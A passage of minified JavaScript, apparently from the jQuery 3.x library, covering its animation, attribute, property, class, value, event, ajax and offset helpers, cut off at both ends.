0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),
null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("<script>").prop({charset:a.scriptCharset,src:a.url}).on("load error",c=function(a){b.remove(),c=null,a&&f("error"===a.type?404:200,a.type)}),d.head.appendChild(b[0])},abort:function(){c&&c()}}}});var Tb=[],Ub=/(=)\?(?=&|$)|\?\?/;r.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=Tb.pop()||r.expando+"_"+ub++;return this[a]=!0,a}}),r.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(Ub.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ub.test(b.data)&&"data");if(h||"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(Ub,"$1"+e):b.jsonp!==!1&&(b.url+=(vb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||r.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?r(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,Tb.push(e)),g&&r.isFunction(f)&&f(g[0]),g=f=void 0}),"script"}),o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="<form></form><form></form>",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.fn.load=function(a,b,c){var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=pb(a.slice(h)),a=a.slice(0,h)),r.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&r.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?r("<div>").append(r.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},r.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){r.fn[b]=function(a){return this.on(b,a)}}),r.expr.pseudos.animated=function(a){return r.grep(r.timers,function(b){return a===b.elem}).length},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var 